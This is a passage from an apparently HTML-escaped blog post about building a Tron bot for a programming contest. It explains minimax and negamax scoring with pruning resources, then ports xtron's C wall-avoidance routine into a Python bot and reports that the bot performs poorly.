board, you can obtain a better approximation of the number of free squares which can be visited, and thus fill your space more efficiently.&lt;/blockquote&gt;Keep the definition of articulation vertices in mind, we will mention this again later. I decided to use a simple but quick heuristic to figure out a way of filling the board. It's quick and works good enough most of the times (meaning that once we're seperated and have more empty space, we have a high chance of actually winning).&lt;br /&gt;&lt;br /&gt;Now: what do we do if we're not seperated...? On option is to use a minimax strategy.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Battle strategy: using minimax&lt;/h3&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Minimax" target="new"&gt;Minimax&lt;/a&gt; is a decision rule which maximizes our potential gain while minimizing our possible loss. It can be used in two player games where it is possible to assign a value (or score) to each decision for each player.&lt;br /&gt;&lt;br /&gt;For example, let's say we need to choose between two possible moves A or B, in a given game. If we think three levels deep, we might end up with something like this:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Wq1RAzqeI/AAAAAAAAPTc/W1b2uQzKhmQ/s1600-h/image8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Wq1RAzqeI/AAAAAAAAPTc/W1b2uQzKhmQ/s400/image8.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;As you see in the search tree above, for each of our two moves A or B, our opponent can also make two moves. Then we move again. The strategy we'll be following is max(imize our gain). Our opponent will try to min(imize our gain).&lt;br /&gt;&lt;br /&gt;Once we're at our desired (lowest) level in the tree, we assign a score to all the possible outcomes:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Wq9T4a5MI/AAAAAAAAPTg/i_uZGIMPrlY/s1600-h/image9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Wq9T4a5MI/AAAAAAAAPTg/i_uZGIMPrlY/s400/image9.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Our opponent knows that we will always pick the best (max) choice (in yellow) when confronted with a specific situation:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WrFD_GX4I/AAAAAAAAPTk/G1FrP6hwYjg/s1600-h/image10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WrFD_GX4I/AAAAAAAAPTk/G1FrP6hwYjg/s400/image10.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Our opponent will thus try to minimize our gains (he wants us to lose), so we know what he'll pick for each of our moves (yellow):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4WrPbZCKAI/AAAAAAAAPTo/2Ub-YpapiFQ/s1600-h/image11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4WrPbZCKAI/AAAAAAAAPTo/2Ub-YpapiFQ/s400/image11.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;At the top level it is now clear that, to maximize our gain we pick move A with a resulting score of 7, provided that our opponent will react in the smartest way possible:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WrWjOCBhI/AAAAAAAAPTs/PxnFIc6ggus/s1600-h/image12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WrWjOCBhI/AAAAAAAAPTs/PxnFIc6ggus/s400/image12.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Since alternating between minimizing and maximizing the scores between each level of the search tree can be tedious to program, we can use the following observation to keep things simpler:&lt;br /&gt;&lt;blockquote&gt;max(a,b) = -min(-a,-b)&lt;/blockquote&gt;Our example tree thus becomes:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4Wrdn7FBsI/AAAAAAAAPTw/b7lcyKhBYBA/s1600-h/image13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="206" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4Wrdn7FBsI/AAAAAAAAPTw/b7lcyKhBYBA/s400/image13.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;By inverting the score each time we propagate upwards, we can use max at every level.&lt;br /&gt;&lt;br /&gt;The strategy page recommends following a minimax strategy to avoid traps or dead ends. It is clear that, to create a winning minimax strategy, we must give sensible scores to each of the game states. A lot of players are thus using minimax strategies and doing well to very well with them.&lt;br /&gt;&lt;br /&gt;It's also fairly logical that the more levels you search, the higher your chance of winning becomes. However, since bots are only given one second to think before each move, exploring a high number of levels is impossible, especially in interpreted languages. It's no wonder that many high-ranked players are using C++.&lt;br /&gt;&lt;br /&gt;To speed up iterating the tree, we can use a technique called alpha-beta pruning. We can also use iterative deepening. I won't explain those into detail here, but I can give you a handy list of resources:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The Wikipedia page on &lt;a href="http://en.wikipedia.org/wiki/Minimax" target="new"&gt;Minimax&lt;/a&gt; gives examples and pseudocode.&lt;/li&gt;&lt;li&gt;The Wikipedia page on &lt;a href="http://en.wikipedia.org/wiki/Alpha-beta_pruning" target="new"&gt;alpha-beta pruning&lt;/a&gt; does the same for this technique. The pseudocode is not hard to implement once you understand minimax, and does speed things up a lot!&lt;/li&gt;&lt;li&gt;Also &lt;a href="http://en.wikipedia.org/wiki/Iterative_deepening" target="new"&gt;iterative deepening&lt;/a&gt; is explained on Wikipedia; it's easy to understand, but a bit harder to implement.&lt;/li&gt;&lt;li&gt;Another contestant has explained &lt;a href="http://www.sifflez.org/misc/tronbot/index.html" target="new"&gt;his minimax strategy&lt;/a&gt; on his website. He does a fantastic job explaining the concepts above, and even provides a starting point for an evaluation function you can use to assign a score to the board.&lt;/li&gt;&lt;li&gt;Jamie, another contestant, also discusses his techniques in &lt;a href="http://www.angelforge.org/wordpress/programming/tron-bot/" target="new"&gt;his blog&lt;/a&gt;, he even links to some interesting Python source code.&lt;/li&gt;&lt;li&gt;A quick Google search finds some &lt;a href="http://www.koders.com/python/fid4C35447AD9C6BC8F83710DE2FFAD58D3418F0997.aspx?s=game#L3" target="new"&gt;interesting minimax and alpha beta pruning code written in Python&lt;/a&gt;. It plays Othello, but the AI and game logic are cleanly seperated.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h3&gt;Before we continue: a quick look at some other projects&lt;/h3&gt;&lt;br /&gt;Now that we have a basic understanding of the workings of a Tron bot and strategy, we can Google around to see if we come up with some interesting projects using these methods. Let's see what some of the open source Tron games are using as a strategy.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;KTron&lt;/strong&gt;'s source can be &lt;a href="http://websvn.kde.org/trunk/KDE/kdegames/ktron/intelligence.cpp?view=markup" target="new"&gt;viewed online&lt;/a&gt;. We notice the following comment:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;// This part is partly ported from&lt;br /&gt;// xtron-1.1 by Rhett D. Jacobs (rhett@hotel.[...])&lt;/code&gt;&lt;/div&gt;&lt;code&gt;&lt;br /&gt;We thus take a look at &lt;b&gt;xtron&lt;/b&gt;, you can find the source package &lt;a href="http://packages.debian.org/source/squeeze/xtron" target="new"&gt;here&lt;/a&gt;. main.c contains the think routine:&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;/* artificial intelligence routines for computer player */&lt;br /&gt;void think(int p_num)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;enum directions sides[2];&lt;br /&gt;&amp;nbsp;&amp;nbsp;int flags[6] = {0,0,0,0,0,0};&lt;br /&gt;&amp;nbsp;&amp;nbsp;int index[2];&lt;br /&gt;&amp;nbsp;&amp;nbsp;int dis_forward,&amp;nbsp;&amp;nbsp;dis_left, dis_right;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;dis_forward = dis_left = dis_right = 1;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;switch (p[p_num].plr_dir) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;case left:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* forward flags */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[0] = -1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[1] = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* left flags */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[2] = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[3] = 1;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* right flags */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[4] = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[5] = -1;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* turns to either side */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sides[0] = down;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sides[1] = up;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//...&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;/* check forward */&lt;br /&gt;&amp;nbsp;&amp;nbsp;index[0] = p[p_num].co_ords[0]+flags[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp;index[1] = p[p_num].co_ords[1]+flags[1];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;while (index[0] &amp;lt; MAXHORZ &amp;amp;&amp;amp; index[0] &amp;gt;= MINHORZ &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;index[1] &amp;lt; MAXVERT &amp;amp;&amp;amp; index[1] &amp;gt;= MINVERT &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;b.contents[index[0]][index[1]] == 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; dis_forward++;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; index[0] += flags[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; index[1] += flags[1];&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (dis_forward &amp;lt; LookAHEAD) { &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;dis_forward = 100 - 100/dis_forward;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;/* check left */ &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;index[0] = p[p_num].co_ords[0]+flags[2];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;index[1] = p[p_num].co_ords[1]+flags[3];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; while (index[0] &amp;lt; MAXHORZ &amp;amp;&amp;amp; index[0] &amp;gt;= MINHORZ &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; index[1] &amp;lt; MAXVERT &amp;amp;&amp;amp; index[1] &amp;gt;= MINVERT &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; b.contents[index[0]][index[1]] == 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;dis_left++;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;index[0] += flags[2];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;index[1] += flags[3];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;/* check right */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[0] = p[p_num].co_ords[0]+flags[4];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[1] = p[p_num].co_ords[1]+flags[5];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (index[0] &amp;lt; MAXHORZ &amp;amp;&amp;amp; index[0] &amp;gt;= MINHORZ &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; index[1] &amp;lt; MAXVERT &amp;amp;&amp;amp; index[1] &amp;gt;= MINVERT &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; b.contents[index[0]][index[1]] == 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;dis_right++;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;index[0] += flags[4];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;index[1] += flags[5];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(!(dis_left == 1 &amp;amp;&amp;amp; dis_right == 1))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((int)rand()%100 &amp;gt;= dis_forward || dis_forward == 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* change direction */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ((int)rand()%100 &amp;lt;= (100*dis_left)/(dis_left+dis_right))  &amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if (dis_left != 1)   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* turn to the left */  &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;p[p_num].plr_dir = sides[0];  &amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else&amp;nbsp;/* turn to the right */  &amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;p[p_num].plr_dir = sides[1];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else  &amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if (dis_right != 1)   &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/*&amp;nbsp;&amp;nbsp;turn to the right */  &amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;p[p_num].plr_dir = sides[1];  &amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else   &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* turn to the left */  &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;p[p_num].plr_dir = sides[0]; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;} &amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;}&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;It turns out this code is using a simple strategy. The difficulty of the game lies in the fact that player can move slow (easy) or very fast (very hard). The AI looks at the distance before reaching a wall while heading in its current direction. The closer it comes, the higher the chance of turning. When we're next to a wall, the chance is, of course, 100%.&lt;br /&gt;&lt;br /&gt;The code is easily converted to a Python bot:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;#!/usr/bin/python&lt;br /&gt;&lt;br /&gt;import tron&lt;br /&gt;import random&lt;br /&gt;import sys&lt;br /&gt;import time&lt;br /&gt;import math&lt;br /&gt;from copy import deepcopy&lt;br /&gt;&lt;br /&gt;DIRECTION = tron.NORTH&lt;br /&gt;&lt;br /&gt;def which_move(board):&lt;br /&gt;&amp;nbsp;&amp;nbsp;global DIRECTION&lt;br /&gt;&amp;nbsp;&amp;nbsp;LookAHEAD = 6&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;sides = [0,0]&lt;br /&gt;&amp;nbsp;&amp;nbsp;flags = [0,0,0,0,0,0]&lt;br /&gt;&amp;nbsp;&amp;nbsp;index = [0,0]&lt;br /&gt;&amp;nbsp;&amp;nbsp;dis_forward = 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;dis_left = 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;dis_right = 1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if DIRECTION == tron.WEST:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[0] = -1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[1] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[2] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[3] = 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[4] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[5] = -1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sides[0] = tron.SOUTH&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sides[1] = tron.NORTH&lt;br /&gt;&amp;nbsp;&amp;nbsp;elif DIRECTION == tron.EAST:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[0] = 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[1] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[2] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[3] = -1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[4] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[5] = 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sides[0] = tron.NORTH;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sides[1] = tron.SOUTH;&lt;br /&gt;&amp;nbsp;&amp;nbsp;elif DIRECTION == tron.NORTH:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[0] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[1] = -1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[2] = -1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[3] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[4] = 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[5] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sides[0] = tron.WEST&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sides[1] = tron.EAST&lt;br /&gt;&amp;nbsp;&amp;nbsp;elif DIRECTION == tron.SOUTH:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[0] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[1] = 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[2] = 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[3] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[4] = -1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flags[5] = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sides[0] = tron.EAST&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sides[1] = tron.WEST&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;index[0] = board.me()[0]+flags[1];&lt;br /&gt;&amp;nbsp;&amp;nbsp;index[1] = board.me()[1]+flags[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp;while index[0] &amp;lt; board.height and index[0] &amp;gt;= 0 and index[1] &amp;lt; board.width and index[1] &amp;gt;= 0 and board[index[0],index[1]] == tron.FLOOR:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dis_forward+=1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[0] += flags[1]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[1] += flags[0]&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if dis_forward &amp;lt; LookAHEAD:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dis_forward = 100 - (100/dis_forward)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[0] = board.me()[0]+flags[3];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[1] = board.me()[1]+flags[2];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while index[0] &amp;lt; board.height and index[0] &amp;gt;= 0 and index[1] &amp;lt; board.width and index[1] &amp;gt;= 0 and board[index[0],index[1]] == tron.FLOOR:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dis_left+=1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[0] += flags[3]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[1] += flags[2]&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[0] = board.me()[0]+flags[5];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[1] = board.me()[1]+flags[4];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while index[0] &amp;lt; board.height and index[0] &amp;gt;= 0 and index[1] &amp;lt; board.width and index[1] &amp;gt;= 0 and board[index[0],index[1]] == tron.FLOOR:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dis_right+=1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[0] += flags[5]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index[1] += flags[4]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if not (dis_left == 1 and dis_right == 1):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if random.randint(0 ,99) &amp;gt;= dis_forward or dis_forward == 0:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#change dir&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if random.randint(0 ,99) &amp;lt;= (100*dis_left)/(dis_left+dis_right):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if dis_left != 1:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DIRECTION = sides[0]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DIRECTION =  sides[1]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if dis_right != 1:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DIRECTION =  sides[1]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DIRECTION =  sides[0]&lt;br /&gt;&amp;nbsp;&amp;nbsp;return DIRECTION&lt;br /&gt;&lt;br /&gt;for board in tron.Board.generate():&lt;br /&gt;&amp;nbsp;&amp;nbsp;tron.move(which_move(board))&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Uploading the converted code to the contest server quickly confirms the fact that this bot is not doing well (in blue):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="320" src="http://static.macuyiko.com/files/tronbot/easybot_lose.gif" width="271" /&gt;&lt;/div&gt;&lt;br /&gt;In this case, it's lucky (in red):&lt;br 